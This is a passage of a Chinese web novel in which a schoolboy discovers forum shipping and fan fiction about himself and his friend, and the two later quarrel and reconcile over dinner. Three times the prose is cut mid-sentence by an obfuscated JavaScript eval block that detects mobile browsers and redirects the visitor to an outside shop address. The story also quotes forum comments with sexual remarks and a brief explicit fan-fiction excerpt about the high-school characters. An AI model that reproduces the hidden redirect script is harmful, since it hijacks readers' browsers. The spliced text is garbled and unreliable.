试卷上的简谐运动冷眼注视着面前这个对它不屑一顾的男人,后者丝毫未察,转而投入社交论坛的诱惑深渊。 页面跳出一个弹窗。 需要填写一些注册信息。 桑群盯着ID那一栏看了半天,打下几个字。 【ID:烤年糕】 33. 33 【欢迎烤年糕同学进入二中校园论坛(新校区高中部限定版),一起来畅聊交友,学习互助吧~!】 【是否前往绑定班级信息?】 桑群连忙选了取消。 一点进来主页乱糟糟的,各种标题天花乱坠,桑群懵了一秒,他要干什么来着? 哦对对,查一下“龙虎”是个什么东西。 找到搜索栏,输入关键词,确认。 底下很快跳出几条相关帖子。 【[灌水]没有人觉得龙虎很好磕吗?我是变态我要吃,蹲个太太递饭……】 【[学习]每日分享好句:云从龙,风从虎——出自《周易·乾·文言》……】 【[吐槽]我真服了我们班那个**龙,揣着他那条老虎挂坠跟孵蛋似的,不小心碰了一下被他骂了一整天……】 …… 桑群越划越困惑,这都是些什么东西? 终于,底下出现了一条符合他心意的帖子。 【[灌水]第一次上论坛,想问下龙虎是个什么cp啊?游戏还是oc?】 虽然没看懂这帖子里的一些英文字母,但桑群还是点了进来。 【1楼:楼主一看就是新生,SNS没听说过吗?这届同人区美帝啊】 【2楼:是真人cp啊,罚楼主去把论坛精华帖再刷一遍】 【3楼:集美也对SNS感兴趣吗,欢迎进群来玩呀~都是同好还有超绝太太天天产粮,群号**********】 桑群看着这栋楼沉默了一会儿,退出换了个浏览器。 【cp是什么?】 【oc是什么?】 【同人是什么?】 【美帝又是什么?】 进行了一番醍醐灌顶的临时补习,桑群顶着一头脑浆回来了。 虽然还是有点茫然,但楼里指路了精华帖,去翻翻看。 桑群找了半天精华帖,终于在首页的某个选项里找到了,点进去,一排【热】【爆】帖子。 ……少说也有十几条,每个都看一遍吗? 桑群拿着手机瘫坐在椅子上,转头看了看桌上显得眉清目秀的简谐运动。 简谐运动发出无声冷笑。 他想了想,拿出一张英语卷子盖在物理卷子上面。 密密麻麻的英文单词仿佛有令人眩晕的功能,手里的帖子顿时看得下去了呢。 桑群点进第一条。 【[热][精华][投票]24届新生段草评选来啦~!谁是你眼中的心动嘉宾呢?(注:本活动纯属娱乐,不代表官方立场)……】 一看就不对,桑群正想关掉,手指一划露出了下面的照片。 他目光一顿。 清朗少年迎着阳光浅笑,叶隙的碎光落在他微弯的眼尾,眼里仿佛撒了星芒。 不知是谁在跟他打招呼,拍下这张氛围感十足的回眸照。 桑群看着这张照片愣了一会儿。 这样想来,虽然阮牧年经常在他面前笑,但他好像还没留存过这样的瞬间。 手指比脑子先动,点击图片,长按保存。 又欣赏了一会儿,他才有空阅读旁边的文字。 【No.1:阮牧年(3659票)】 桑群:“?” 他们学校有这么多人吗? 再往下划,第二名的照片映入眼帘。 模糊的背景,勉强能看出是学校的某处,敞着校服拉链的少年靠在树下阴影里,低垂的眉眼冷冽凌然,薄削的侧脸轮廓隐没在暗色中。 桑群:“……” 这人谁? 什么九十年代画质,跟背景融为一体的脸,不说都不知道这是个人。 而旁边的标注明明白白写着: 【No.2:桑群(3659票)】 桑群脸都黑了。 到底谁拍的照片,跟他有仇吗? 桑群再划。 看看第三名……嗯? 【[置顶]1楼:同票数排名按姓氏字母进行排序,感谢大家的理解和支持~!】 等等,这就完了? 第三名呢?整个24届投票就两个人入选? 桑群继续往下划。 【23楼:往期的段草争霸可激烈了,只有这一届毫无悬念,亲眼见证帖子在短短三天内评出决赛名单,还是俩并列第一,叹为观止[撒花]】 【47楼:实至名归啊实至名归,真的投决赛的时候我纠结得要死,最后去开了个小号,两边一起投[力竭]】 【48楼:楼上你不是一个人】 【55楼:牧年弟弟我们喜欢你!!!新校区什么时候跟本部合并啊?老娘要看帅哥呜呜呜】 【77楼:牧年哥哥我在你隔壁班!上次不小心撞到他,他还帮我把书捡起来呜呜呜他真的好温柔,好想表白啊啊啊[泪流满面]】 【91楼:真的,我把话撂这了,不懂欣赏阮牧年的人真的没品[墨镜]】 【114楼:评论区是被阮牧年后援会攻陷了吗?怎么没人夸我们桑群哥哥,高冷酷哥难道过时了吗?】 【120楼:谁懂桑群斜眼看你的那种爽感啊[大哭]别说了我是桑群的狗,想被哥哥踩在脚下[流口水]】 【124楼:各位有所不知,桑某看似高冷男神,实际是隐藏超模。当他不穿外套,还不好好系扣子的时候,隐约露出的肌肉简直涩爆,每次看到我幻肢都会**[流口水]】 【130楼:事先声明我是六班的,我拿人格担保桑群绝不是性格恶劣的混混学生,人家只是不爱学习更爱睡觉而已……虽然没跟六爷搭过几句话,但他每次从我桌前走过,我都要用一个小时才能从他的气息中回过神来[流口水]】 【134楼:每看一次桑群哥哥的照片,脸上就会流下湿湿的液体,我还以为是我的泪水,后面才发现那是*给哥哥的**[流口水][心动]】 【135楼:?楼上你裤子掉了】 【136楼:?你们桑群粉怎么回事,刚踏进评论区就被一地裤子绊倒】 【137楼:?我常常因为自己不够变态而无法融入同好之中】 【140楼:误解啊啊啊变态只是少数,我们喜欢桑群的也有正常人只欣赏哥哥美颜!!!】 …… 手指飞快划动,当桑群意识到自己看见了什么,一切已经晚了。 这都是些什么东西啊? 桑群唇角抽动,啪地把万恶之源扔到了旁边的床上。 他看了看桌上的英语,看不懂,翻出底下的物理卷子,深吸一口气,做了第一小题。 呼。 感觉有勇气继续看下去了。 忽略掉那些发疯的癫狂言论,他终于找到了第一条谈及龙虎的评论。 【302楼:这就是我们年段的龙头虎尾啊[欣慰]】 什么。 搞半天,这劳什子龙虎就是指代他和阮牧年? 早知道是这样,还不如写物理卷子呢,浪费时间。 静下心来认真写了第二小题,他忽然想到,龙虎搞清楚了,但SNS还没搞清楚啊。 这般想着,手不禁伸向旁边的手机。 简谐运动冷眼看着这个三心二意的男人,发出无声的咒骂。 论坛页面还停留在投票贴上,桑群看着阮牧年的照片,鬼使神差地戳了一下。 没戳到图片,戳到了文字。 一个弹窗跳了出来。 【恭喜你投票成功!】 桑群一愣。 投票不是结束了吗?怎么还能投? 他定睛一看,真的能投,阮牧年后面的票数已经变成了3660。 这下No.1倒真是实至名归了呢。 被阮牧年压一头这种事,桑群不是很在意。虽然两人经常随地大小比,但对胜负在意的也只有阮牧年,桑群能赢就赢,输了也不觉得有什么可惜。 更何况…… 桑群又点开那张照片,他家年年本来就是最好看的。 退出精华帖,他又在首页盲人摸象了一会儿,终于在某个分类里面找到所谓的同人区。 点进去,第一条帖子差点亮瞎他的眼。 【[同人]那年海风喧嚣,他们却不得不相别于南区海岸。十年后,阮牧年学成归国,当晚就被人按在了床上……】 桑群:“???” 阮牧年和谁?! 桑群皱着眉头点进去。 结果帖主藏着掖着,通篇用“男人”来掩盖身份,在阮牧年和这人滚了快三千字的床单后,终于出现了这么一段。 【阮牧年颤抖着说:“好疼,桑群……” 【叫做桑群的男人闷笑一声,咬在他脖颈间呼吸滚烫,哑着声音道:“我等了你好久……牧年,这一次我不会再放手。”】 桑群:“???” 这文字烫到他眼睛了。 桑群迅速坐直,写了一下第三小题缓缓情绪。 简谐运动幽怨地看着这个把它当逗号使的男人。 桑群在草稿纸上演算了一下,发现自己算不出来,于是只好蒙了一个答案。 某些字句还在脑内盘旋。 太可怕了,这就是同人的力量吗? 桑群算是明白过来了,所谓同人就是对一些人物进行二次艺术加工,并且夸张程度不逊于母猪上树。 他再次把手机摸过来,闭着眼关掉刚刚的帖子,继续往下划。 这次他要谨慎一点。 同人形式无非就是文字、绘画,除了少数有标签的精品,其他的文字和某些画的画技……让他被贴在投票帖里的糊照都变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356311|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好看不少,总之就是一言难尽。 所以SNS到底在哪儿? 【[同人]SNS最新力作《同桌的他》完结撒花~!感谢各位读者们的陪伴,接下来会不定时掉落婚后小番外~】 桑群指尖在这个帖子上犹豫了片刻,谨慎地点了进去。 他很谨慎。 一有不对劲的苗头就跑。 给自己做好心理建设,桑群深吸一口气,开始阅读。 【1楼:呜呜呜好甜好甜,晴天太太我要一辈子追随你!我们SNS小情侣也要在平行世界好好的[感动]】 【5楼:这本攻受怎么分的啊?求姐妹解惑】 【6楼:回楼上,这本是桑年桑无差哦~清水文,可以按自己喜好磕,也可以站互攻嘿嘿[愉快]】 【11楼:欢迎大家加入晴天太太的读者交流群,有什么想看的设定都可以分享哦,说不定哪天就写了哈哈哈,群号**********】 …… 提取关键字,桑年桑。 结合题目条件,SNS。 所以。 SNS也是指代他和阮牧年? 桑群:“……” 好像找了半天眼镜,结果照镜子发现它就在自己脸上。 简谐运动对这个面色铁青的男人发出无声嘲笑。 桑群面无表情地把手机倒扣在桌面上。 破论坛,浪费青春。 他开始阅读第四小题题干。 还没读完,手机电话铃响了起来。 谁啊? 桑群一看,阮牧年。 他又双叒叕搁下笔,接通了电话。 “桑桑,”阮牧年好像在吃着什么东西,声音含糊,“在干嘛呢?” 桑群:“写作业,怎么了?” “宝宝被主人接回去了,她送了盒糕点给我,”阮牧年边吃边说,“你什么时候回来?我给你留了一点。” 耳边是阮牧年吃东西的声音,他却联想到前不久看过的同人文里,对方嘴里塞满东西的劲爆描写。 桑群:“……” 他好像脏了。 “桑桑?”阮牧年终于咽下了嘴里的食物,疑惑地叫了他两声,“怎么不说话,信号不好吗?” “喂,”桑群拙劣地掩饰,“嗯,刚刚信号不好。你说什么?” “我问你什么时候回家呀。” 【“你终于回家了,牧年,”桑群发狠吻他,“我会把你圈在身边,哪儿也不能去……”】 桑群:“……” 他捂住了自己不争气的破脑。 阮牧年:“桑桑?桑群?” “六号回去,”桑群甩了甩脑子里的废料,连忙回答,“放不了这么久的话,你就先吃了吧,不用留。” “没关系,”阮牧年说,“你不方便的话,明天我去你家看你。” 桑群:“别……” 阮牧年:“嗯?桑桑你很不对劲啊。” 别说了,他现在有点无法直视阮牧年。 “……别太辛苦自己了,”桑群大喘气道,“跑来跑去多累,你在家好好休息几天。” 阮牧年那边沉默了一会儿,才说:“我不想一个人睡。” 桑群哑然。 他忽然抓住了某种真实感,有别于他人眼中或笔下的阮牧年,真正的年年其实热衷于在他面前展现自己,不论是高兴的一面,还是孤独的一面。 会撒娇的人果然好命。 桑群叹了口气,向他妥协:“我明天回去。” 阮牧年惊喜道:“真的吗?那阿姨……” “废话真多,”桑群说,“少吃甜点,小心晚饭吃不下。” “我现在很没头绪啊,”阮牧年烦恼道,“一个人的晚饭最难做了。” 桑群:“煮粥喝,炒些肉配着。” 阮牧年:“啊,你这么说我有点饿了,确实好久没吃火腿瘦肉粥了。” 桑群:“嗯,晚饭别落下。” 阮牧年:“好哦,还是你靠谱。” 桑群轻哼:“当然。” 阮牧年又问:“你刚才一直在写作业呢?” 桑群:“嗯。” 阮牧年:“做多少了?” 桑群沉默了一下,看了看手里还没着落的第四小题。 桑群:“物理卷子第四……大题。” 简谐运动震惊地看着这个不要脸的男人。 “这都一下午了,”阮牧年问,“才第四大题?” 桑群:“……前面还写了英语卷子。” 空白的英语卷子无处申冤。 “……你明天早点起来吧,”阮牧年说,“我们得加快速度了,不然到时候作业检查第一个逮的就是你。” 桑群:“……” 他真的尽力了。 34. 34 这天早上,阮牧年一起来就在衣柜前翻来翻去。 桑群咬着油条走过来,发现自己前不久刚收好的衣柜,又快变成狗窝了。 “你干什么,”桑群按住他要乱翻的手,“要什么衣服说,我拿。” “我在挑啊,”阮牧年左看右看,“最好穿起来显白,显帅,看起来很有精神,阳光高中生。” 桑群略一沉吟,从旁边一叠里拿出一件丢过去:“喏。” 阮牧年抖开一看:“哇。” 虽是件样式普通的T恤,但条纹简约,恰到好处,橙黄点缀符合阳光要求,浅白底色显得干净帅气。 “还是桑桑你眼光好。” 奇迹年年的御用衣柜管理员轻哼一声,深藏功与名。 “但你能不能离我远点。”阮牧年说。 桑群:“?” “外面吃去,油条渣待会儿掉我身上了。”阮牧年皱眉看着他手里的早餐。 “……嘁。” 桑群咬着油条出去了。 阮牧年换掉睡衣,裤子就可以随意来了,他拿了一件放在最上面的短裤,免得又惹某个洁癖症不爽。 桑群坐在沙发上问他:“干什么去?” 真奇怪,今天虽然还在国庆假期,但也没到七号,阮牧年又要出门? 阮牧年在卫生间抓他头上那几根毛,似乎没有听到他的问话。 桑群把剩下的牛奶一饮而尽,站到门口又问了一遍。 “出门干什么?” “哦,桑桑你来得正好,”阮牧年转向他,“我好像有一根头发翘起来了,你看它现在还翘吗?” 桑群叹了口气,按着他的肩面向镜子,亲自上手抓了一遍。 “哇,”阮牧年看着镜子,“还是你手艺高超。” 桑群越看越不对劲,这家伙好像比平时还臭美一点,于是凑到他脸边问:“出门约会?” “没有呀,”阮牧年问,“你作业写完了吗?” 桑群顿时脸黑,丢下他走出卫生间:“快了。” 阮牧年追出来:“还差多少?” “……两张卷子。” “嗯……好像还行,”阮牧年思索了一下,过来拍了拍他的肩,“走吧,一起出门。” “到底去干什么。” “拍大头照啊,”阮牧年捧着脸说,“我要更新证件照了。” 桑群:“?以前的不能用么。” “你在开什么玩笑,”阮牧年露出惊恐的表情,“那张照片可以列为我的黑历史之一!非必要我不会拿出来让任何人看到!” 桑群:“噗。” 这么一说,他好像想起来了。 上一次拍证件照的时候还是初中,正逢学校风气检查,阮牧年被迫剃了个寸头,悲惨地留下了人生最丑照片。 更可恨的是,桑群也剃了,拍出来又酷又帅,只有他一脸呆呆的。 为此阮牧年曾哭嚎了半个月。 经此一事,阮牧年发誓,除非老师拿着剪刀追他,否则他不会剪一毫米的头发。 “行,留着,”听完他的豪言壮语,桑群曾这样回复,“以后买房选顶层,放头发下来拉我上去。” 现在确实留得长了些,二中没严厉管过,阮牧年每天都要打理他那二两头毛。 不过,桑群问:“为什么需要证件照?” 阮牧年叹了口气:“张老师想让我参加最近的物理竞赛,需要提交身份信息啊。” 桑群:“哦。你又不走竞赛,随便应付得了。” 阮牧年:“嗯呐,但照片不允许。” 其实张老师也是这样说的,但……阮牧年一开始就是主动报名,并且冲着第一名奖金去的。 得拿到啊。 阮牧年看了桑群一眼。 桑群把桌面上的垃圾收拾了一下,去洗了个手,迅速换好衣服,很快就变成了可以出门的状态。 “等一下,”阮牧年拿了个小号的双肩包出来,“带个包。” 桑群奇怪:“你还要购物?” “以防万一,”阮牧年把包递给他,“不重的。” 行吧,桑群给屋门上锁,问:“去哪儿拍?” 阮牧年勾了勾手指:“跟我走跟我走。” 他要去的地方,是这附近的一个购物广场,毗邻某条商业街,步行过去十几分钟。 走了一段,路上的行人逐渐变多,哪怕已经接近假期尾声,仍有许多人出门逛街。 从阴凉的树荫小道走到更为宽阔的人行道上,街边的人声车声混成一片。 阮牧年左右看了看,又回头看了看落后他两步的桑群。 桑群:“怎么了。” 阮牧年慢下步子,走在他旁边,低声问:“为什么不牵我。” 桑群怔了一下,也低下声音:“不是说看起来暧昧么。” 那天阮牧年回来就跟他解释了关于男朋友的乌龙,是宁舟看见他俩牵手走导致的。 阮牧年顿了顿:“……你很在意别人的看法吗。” 桑群说:“应该是你很在意吧。” 阮牧年抿了抿唇,没说话。 越靠近广场,周遭的人流越多,嘈杂的声音乱糟糟的,放眼过去全是人,牵着小孩的大人,牵着彼此的情侣……还有两个肩并肩的少年。 桑群感觉气氛有点不对,迟疑道:“你……” 阮牧年没理他,加快脚步走到前面去。 桑群一愣,这是……不高兴了? 每次出门去人比较多的地方,桑群确实习惯拉着他,怕他乱跑丢了。 只是这一次没牵而已,怎么反应这么大。 桑群追上去:“年年?” 阮牧年越走越快。 人确实很多,至少桑群无法做到跑着追人,只能被迫落后他一步跟着。 直到前面的十字路口是红灯,阮牧年才终于停下。 桑群也终于赶到他身边,拉着他衣袖说:“不是介意,是……怕你有压力。” 见识过论坛的各种言论,他意识到阮牧年所要面对的目光似乎比他想象得还要多。 从过去到现在,从他卸下懦弱的外壳,主动走到他人的视野里,就注定要承担这一切。 而作为那根导火线,桑群怎么舍得让他更加辛苦。 阮牧年垂着眼:“你是这样想的么。” 对街的红灯倒计时还没结束,旁边的人声很吵闹。 桑群:“嗯。” “可我只是想让别人知道,我也有亲近到可以牵手逛街的朋友,”阮牧年没看他,声音低低的,“暧不暧昧很重要吗。” 桑群没想到他是这样看待这件事,犹豫着要不要现在就牵住他。 绿灯了,人群涌动,阮牧年跟着往前走,把桑群拉他衣袖的手甩掉。 桑群连忙跟上去,被他躲开。 “别靠近我,”阮牧年皱着眉加快脚步,“小心被看成男同,哼。” 桑群:“……” 天呐,他怎么连生气都这么可爱。 走神了一秒,桑群开始反思,要不是心里有鬼,刚才一追上他就会牵住阮牧年。 真是……啧。 这次他不再有顾虑,紧紧抓住阮牧年的手,十指相扣。 “我错了,”桑群拉着他跟他道歉,“现在知道了。” 阮牧年没理他,也没回握,手指软塌塌的。 还在生气啊,桑群贴近他,哄道:“年年。” 阮牧年依然没理他,一味走在前面。 桑群在心里叹了口气,只是犹豫了一下,好像真的把某块小年糕惹生气了。 他捏了捏手里的另一只手,放软声调又说:“不生气了,好不好?” 事不过三,这次应该会消气吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356312|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而阮牧年毫无动静。 怎么回事,桑群头一次哄人失败,想了半天没想明白。 确实是他的错,就因为别人一句误会,打破了他们一直以来心照不宣的相处。 可他更多的不是因为别人,而是因为…… 对于阮牧年而言,他是朋友、兄弟或者家人,越亲近越好;可对于他自己,阮牧年可不止这些身份。 桑群看着小气包圆滚滚的后脑,心底泛起一股酸涩。 如果让他知道,从小护他到大的阿君羊,其实别有用心呢? 这是个无需思考过多的问题,桑群顷刻就能给出答案。 如果向阮牧年表白,这家伙一定会逃跑的。 一定会。 所以桑群不会说,无论如何都不会说。 阮牧年所惧怕的东西,只能和另一个人共同面对,他们会相识、相恋、住到一起、最后步入婚姻殿堂。 而那个人不能是他桑群。 因为如果阮牧年失败了,他身后还有可以寻求安慰的港湾,可以尽情跟阿君羊哭诉,毫无保留。 可如果阮牧年和他失败了……那年年就真的一无所有了。 他必须要做阮牧年的后路,所以注定无法成为那个与他并肩同行的人。 可自己那些无处安放的情愫该怎么办?对视时的暗涌,说话时的气息,触碰时的悸动,这些要如何自处? 说到底,他也只是个乳臭未干的小毛孩,甚至没有阮牧年会控制情绪。 而他拙劣的刻意疏远,被对方一语道破。 ……真是没辙了。 能怎么办?这么多年他使在阮牧年身上唯一有效的办法,只有宠溺。 桑群贴紧他的肩,五指抓牢对方的手掌,在人群里跟他黏在一块。 阮牧年不理他,他就每隔几秒捏一捏对方的手,余光一直注视着他的侧脸,连现在走到哪里都没注意。 进入购物广场的主干道,两人疾行的速度终于慢了下来。 当然,也可能是因为在这里连体婴疾走更容易引发关注。 阮牧年一直在走,不停顿也没看路标,桑群紧跟着他,不知道还能说什么。 交握的掌心已经起汗,有点黏湿湿的。本来桑群最不能容忍这种触感,这次却不觉得反感。 甚至……阮牧年的手握在掌心,指腹抚过他的手背,原来他的皮肤这么细腻,摸起来又软又嫩。 桑群出神了一会儿,下意识咽了下口水。 连阮牧年停下脚步,他都没意识到,顺着惯性往前又走了几步。 阮牧年终于拉住了他。 “嗯?”桑群愣了愣,“到了?” 阮牧年看向旁边的店铺:“……我想吃这个。” 桑群:“好。” 应完话,他才看了眼这家店,酸菜鱼馆,味道闻起来还不错。 “怎么忽然想吃鱼了。”桑群随口问了一句。 “抒晴推荐过,”阮牧年依然看着门店,“进去看看。” 桑群一顿:“……谁。” 阮牧年没回答。 其实他更想吃楼上那家招牌华丽的牛排,但那里的花销太贵了,不是他和桑群可以随意消费的地方。 一开始,桑群的刻意疏离确实让他有点生气,走了这么久的路,气其实也消得差不多了,就是需要一个台阶下。 找个合适的馆子,让桑群请吃一顿饭,应该就差不多了。 虽然长这么大,他还没吃过牛排……但算了,酸菜鱼就酸菜鱼吧。 阮牧年拉着他往饭馆里走。 店里环境还不错,干净的桌面上放着菜单。阮牧年找了个带沙发的四人座,然后把菜单推到两人中间:“看吃点什么。” 桑群没吭声。 阮牧年疑惑地偏头,看见桑某有些阴沉的脸,以及幽暗的目光。 阮牧年:“?” 35. 35 阮牧年心里慌了一下,难道桑群不喜欢吃酸菜鱼?没见过他有什么忌口啊,之前也好好的。 难道是位置选得不对?可他们以前出来吃饭,大多数也是挑的这种位置啊。 还是……他果然太胡搅蛮缠了,让桑群回味过来异常不爽? 阮牧年的手指僵在菜单封面上,局促地抠了抠凸起的硬壳。 两人之间还从未有过如此沉默又尴尬的氛围。 站在一旁的服务员等不下去了,打破沉默:“客人,菜单翻一下就能打开。” “哦哦,”阮牧年赶紧打开菜单,“不好意思刚刚走神了……呃,我们看一会儿,姐姐你不用一直站在这里的。” 服务员点了点头:“好的,那您选好就叫我。” “嗯嗯。” 阮牧年小心地看了眼桑群的脸色,对方的目光落在菜单上,不知道有没有看进去。 手还牵着,他只能用单手翻页,而桑群在旁边毫无动静。 这比他还莫名其妙吧? 阮牧年胡乱指了一道菜:“吃这个?” 桑群连哦都不哦,学他之前的样子沉默着。 到底哪里惹他了,难道不是他先做错的吗?阮牧年又生气起来,语气变得不耐烦:“桑群,别装哑巴。” 他在桑群手指上重重捏了一把。 桑群终于有了反应,眉头轻轻皱起,手指缩了一下,显然被捏痛了。 不管怎么样,牛劲大王的手劲一直在线,他的指节很快就泛红一片。 “搞什么,”桑群不爽地开口,“吃什么你点呗,不是很懂吗。” “一起吃饭,我在询问你的意见。” “我需要有意见么,反正……” 阮牧年忍无可忍:“桑群……!” 桑群闭上嘴,把后面的讽刺咽了回去。 气死了,阮牧年憋屈极了,桑群在干什么?居然用这种古怪的语气跟他说话。 阮牧年瞪着他:“……不准再用这种语气跟我说话。” 桑群很快回他:“那你也不准装聋作哑。” 阮牧年还皱着眉:“……我会好好说话的,所以你也是。干嘛变得莫名其妙?” “你不是吗,”桑群冷哼,“你先开始冷暴力的。” “我不理你,是因为你先跟我避嫌的,”毕竟是公共场合,阮牧年压着声音,语速很快,“我跟你说了,我就是想被人牵着走。从小到大只有你一直牵着我走,每次出门都是这样,为什么这次要避开?为什么不走在我旁边?为什么、为什么要丢下我?” 桑群看着他,抿了抿唇:“……对,是我太在意别人是怎么看你的了,所以我承认自己的错误。但你为什么一直不理我,生闷气直到刚才?” 阮牧年撇了撇嘴,气鼓鼓道:“是,我就是在生你的气,就算气消了也不知道要说什么,所以带你过来吃饭,找话题开口。我都快原谅你了,你干嘛突然一脸不爽的样子?” 桑群嘴硬:“……我没有不爽。” 阮牧年立刻瞪他:“骗人。” 桑群缓下语气:“没有不爽,酸菜鱼挺好的。” “你就是在不爽,为什么撒谎?”阮牧年说,“抒晴说这家味道正宗鲜美,我才带你来的。你要是有不满意的地方,就说出来啊。” “哈,”桑群冷笑,“这么喜欢听取别人的意见,那就跟别人去吃啊,找我干什么。” “桑、群——”阮牧年盯着他,咬牙切齿,“你再这样说话,我就要揍你了。” 桑群别过脸,犟了两秒,把右手伸到阮牧年面前。 阮牧年一拳砸在他掌根。 旁边还有其他客人,打掌心声音太响,于是他选择了改掌为拳。 桑群抖了一下,轻轻嘶了一声。 真疼啊,跟以前一样。 他还是没转过头,闷闷道:“我记住了。” 阮牧年看着他的侧脸,眼尾有点红,耳尖也是,被他打了的手更是。 桑群一直说他手劲大,却从未想过有没有一种可能,是他自己的皮肤太薄太敏感了。 而这副隐忍的表情,让他回想起第一次打桑群的场景。 那时桑群也是这样坐在地上,别过脸,低低地说他记住了。 从那以后,阮牧年再也没见他犯过同样的错误。 两人的另一只手还牵着,阮牧年轻轻扯了他一下,放缓语气:“先点菜吧。” 桑群终于肯好好看看这本菜单了,但还是说:“我……没吃过这种,真不知道怎么点。” “主菜肯定是酸菜鱼,来个……招牌柠檬鱼吧,”阮牧年用左手握笔打钩,“米饭自助,其他配菜在下一页,你翻。” 桑群用战损的右手翻过一页。 “这些就是家常菜了,挑一挑吧。” 桑群看了半天,指了一道小酥肉。 阮牧年看了眼价格,果然是荤菜里最便宜的。 他在心里叹了口气,又选了两道一荤一素,叫了服务员过来。 “……好的,一共是三菜一汤,两位考不考虑再点一道菜,”服务员看了看他俩牵着的手,微笑道,“国庆期间,我们店有情侣套餐优惠的哦。” 桑群闻言一僵,阮牧年倒是有点兴趣:“什么优惠?” “我们的情侣套餐是主汤三选一,配菜六选四,两位点的三道菜正好在这其中……”服务员见有希望,开始热情介绍,“……套餐价格肯定是比较划算的,两位觉得呢?” 阮牧年还在看着价位表思索,桑群已经对比出来了:“……可以。” 可以是可以,但这个服务员为什么要给他们推荐情侣套餐……普通双人套餐不行吗? 牵个手而已,兄弟情深很难理解吗?怎么一个两个都在误会? 阮牧年很相信他的判断,也点了点头:“好啊,那就点套餐吧。我们再加一道菜,嗯……就这个无骨凤爪吧。” “好的,付款码就在桌上,”服务员收起菜单,“请您稍等片刻,我们会尽快上菜。” “好哦,辛苦啦。” 拿了号码牌,阮牧年刚想掏手机,旁边桑群已经飞快扫完了码。 请客这么积极,认错却磨磨唧唧的。 而桑群扫完码,页面自动跳转到小程序菜单,他纳闷:“明明双人套餐也是一样的价格,为什么一定要说情侣套餐?” “因为这样说讨人喜欢啊,”阮牧年说,“随便两个陌生人都能吃双人套餐,但你要是说情侣套餐,那就是对别人感情的肯定,客人心里高兴,自然就愿意购买啊。” 桑群迟疑道:“你……听了也高兴?” 阮牧年脸上的笑容淡了点:“本来还行,但……你不要以为挨打就可以逃避问题,供词想好了吗?” 桑群手指缩了一下,想抽离阮牧年的掌心,却被后者抓得更紧。 “……手流汗了,松开一会儿,”桑群皱眉道,“抓一路了都。” “你先说,”阮牧年看着他,“说完我就松开。” 桑群抿了抿唇。 怎么办?实情肯定是不能说的,自己吃飞醋不爽什么的,只好学阮牧年的样子胡搅蛮缠了。 “不爽就是不爽,没什么好解释的,”桑群不敢看他眼睛,盯着桌面的花纹道,“反正你身边总是有很多人,宁舟也好,程抒晴也好,都围着你转。跟我一见面就是催作业,早上问你三遍问题才回答……哼。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356313|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 旁边没声音,桌面的花纹忽然变成了阮牧年的脸。 阮牧年趴在桌子上看他,伸出手指戳了戳他的脸蛋,喃喃道:“天啊……” 桑群下意识往后避了避:“……干什么。” “桑桑,”阮牧年的语气又变成了平时半撒娇的声调,抬头看的姿势显得他眼眸很大,“原来你生气的时候会撅嘴嘛……下唇有些突出来,看起来……” 那根不安分的手指从脸颊划至唇边,在他酒窝处按了按,阮牧年轻声道:“看起来……有点可爱。” 桑群听得后脊骨都酥麻了,他闭了闭眼,这家伙……知道自己说的话有多暧昧吗? “所以,”阮牧年再次语出惊人,“你其实……是在吃醋吗?” 桑群:“……” 这也太敏锐了,他硬着头皮顶回去:“吃谁的醋,你的吗?” 阮牧年点头:“不然呢?” 桑群:“……” 接不下去了,他想当哑巴。 阮牧年坐直身子,桑群赶紧把自己的手抽回来。 手背红白交错,已经完全不能看了。 桑群警告他:“你今天别想牵我了。” 阮牧年支着脑袋:“你右手不还好好的嘛。” 桑群:“……” 该死的黏人精。 就在这时,服务员端着饭菜过来了,酸菜鱼汤很大一碗,鲜味飘香,米饭也满满两碗,不够可以去旁边锅里再盛。 阮牧年拿了勺筷递给桑群,说:“尝尝看好不好吃。” 桑群先给他夹了块鱼,才往自己碗里夹,小口咬了一块鱼肉,细细嚼完。 “嗯,挺好的,”桑群说,“你多尝尝,说不定能吃出怎么做的。” “好啊,”阮牧年看着他,“以后就吃我做的好了。” 桑群怔了怔:“我就是……开个玩笑。” 阮牧年吹了吹碗里的鱼肉,点点头:“我知道啊。但你不是不喜欢吃别人推荐的饭馆吗,那就吃我做的。” 桑群一时拿不准他的意思:“那都是气话。” “柠檬很入味啊,好香,”阮牧年吃完眯了眯眼,“就是有点太酸了,鱼肉的鲜混在酸汤里了。在家里的话,就用辣味替代酸吧,正好你也不喜欢酸,然后可以放点别的配料调味……” 他真在尝做法啊,桑群惊讶之余,心里还有股说不明的情绪。 “吃呀,”阮牧年把菜推过来,“你点的酥肉。” “你就算做不出来,”桑群表达不出那种感觉,只好说,“也没关系。大不了再来吃。” 